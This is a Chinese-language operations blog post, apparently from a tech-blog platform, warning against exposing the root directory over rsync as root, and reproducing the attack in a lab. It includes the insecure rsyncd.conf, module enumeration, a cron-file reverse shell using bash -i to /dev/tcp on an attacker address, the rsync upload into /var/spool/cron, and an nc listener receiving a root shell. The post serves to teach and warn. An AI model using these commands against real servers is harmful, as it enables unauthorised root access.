攻击你,与你何干!rsync你还敢这么玩?

rsync同步服务反弹shell

rsync服务/命令在企业中运用非常广泛,主要是轻量、便捷、高效。在数据同步中,不管是做服务还是命令使用,都非常方便、快速。

但是在日常运维中,往往会发现很多开发或者运维人员,一味的图简单,把一些老生常谈的安全注意事项抛之脑后,最终酿成大祸!

下面说说之前做服务器安全评估遇到的真事。某业务线的运维同事因为需要经常在多台服务器之间同步文件,而且是不同项目文件。为了偷懒,不想多写同步模块,所以他在编辑配置文件时,直接将/目录发布出去了。最后被我们研发中心扫描出来,季度绩效也因此评为C。

有小伙伴可能会疑惑,这会有什么风险呢?下面我在实验环境还原一下他当时的环境,以及可能会遇到的风险。

配置同步服务器(被攻击服务器)

# 安装rsync:
~]# yum install rsync -y
# 编辑配置文件:
~]# cat /etc/rsyncd.conf 
 uid = root
 gid = root
 use chroot = yes
 max connections = 4
 pid file = /var/run/rsyncd.pid
 exclude = lost+found/
 transfer logging = yes
 timeout = 900
 ignore nonreadable = yes
 dont compress   = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2
read only = false

[ftp]
        # 这点是重点,要发布的同步目录
        path = /
        comment = ftp export area

# 启动rsyncd服务:
~]# systemctl start rsyncd
这个配置文件有两个危险指令,一个是 uidgidroot,他设置为 root是为了同步文件方便,不需要考虑文件权限问题;二是开放根目录,这两个配置直接会导致后面的问题!

配置攻击服务器

rsync服务器默认是监听873端口,通过nmap工具可以很方便扫描到,这里不再演示。

# 查看同步服务器开放的同步模块,下面可以看到开放了`ftp`模块
~]# rsync rsync://192.168.75.121
ftp             ftp export area

# 具体看下ftp模块中提供了那些目录文件。下面可以看到整个根都发布出来了!
~]# rsync rsync://192.168.75.121/ftp
dr-xr-xr-x            247 2022/08/16 16:45:37 .
lrwxrwxrwx              7 2021/10/13 14:00:20 bin
lrwxrwxrwx              7 2021/10/13 14:00:20 lib
lrwxrwxrwx              9 2021/10/13 14:00:20 lib64
lrwxrwxrwx              8 2021/10/13 14:00:20 sbin
dr-xr-xr-x          4,096 2021/10/13 14:05:43 boot
drwxr-xr-x             17 2022/08/16 16:45:37 data
drwxr-xr-x          3,300 2022/08/15 15:03:13 dev
drwxr-xr-x          8,192 2022/08/16 17:31:47 etc
drwxr-xr-x             18 2022/08/16 15:16:45 home
drwxr-xr-x              6 2018/04/11 12:59:55 media
drwxr-xr-x              6 2018/04/11 12:59:55 mnt
drwxr-xr-x             78 2022/08/15 15:38:54 opt
dr-xr-xr-x              0 2022/08/15 15:03:05 proc
dr-xr-x---            233 2022/08/16 17:19:47 root
drwxr-xr-x            860 2022/08/16 17:31:47 run
drwxr-xr-x              6 2018/04/11 12:59:55 srv
dr-xr-xr-x              0 2022/08/15 15:03:10 sys
drwxrwxrwt          4,096 2022/08/16 17:36:21 tmp
drwxr-xr-x            155 2021/10/13 14:00:20 usr
drwxr-xr-x            267 2021/10/13 14:02:35 var
drwx------             19 2022/08/16 14:28:46 www

配置反弹shell

反弹shell在之前的文章中详细讲到过,这里不再赘述。因为rsync同步服务器直接把根发布出来了,所以比之前通过redis服务攻击更加简单了。只需创建一个root的计划任务文件,然后同步过去即可。

# 创建root计划任务文件
~]# cat > root <<EOF                                       
* * * * * bash -i &>/dev/tcp/192.168.75.123/8888 0>&1
> EOF

# 同步到被攻击服务器,放置到计划任务目录:
~]# rsync -av root rsync://192.168.75.121/ftp/var/spool/cron/

# 安装nc工具:
yum  install nmap -y
# 设置监听端口,等待被攻击服务器连接即可:
~]# nc -lvnp 8888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 192.168.75.121.
Ncat: Connection from 192.168.75.121:36320.
bash: no job control in this shell
# 可以看到已经顺利拿到被攻击服务器的shell了!
[root@192-168-75-121 ~]# exit

没出事之前,觉得危险离自己很远,出事之后,才会发现危险就在身边。老生常谈的安全问题一定要注意,切不可一味的贪图简单,而放大文件、服务器的权限。

你要是喜欢这篇文章的话,帮忙点赞呀,你的喜欢就是我原创的动力!关注我的公众号(运维朱工)获取最近更新!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

运维朱工

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值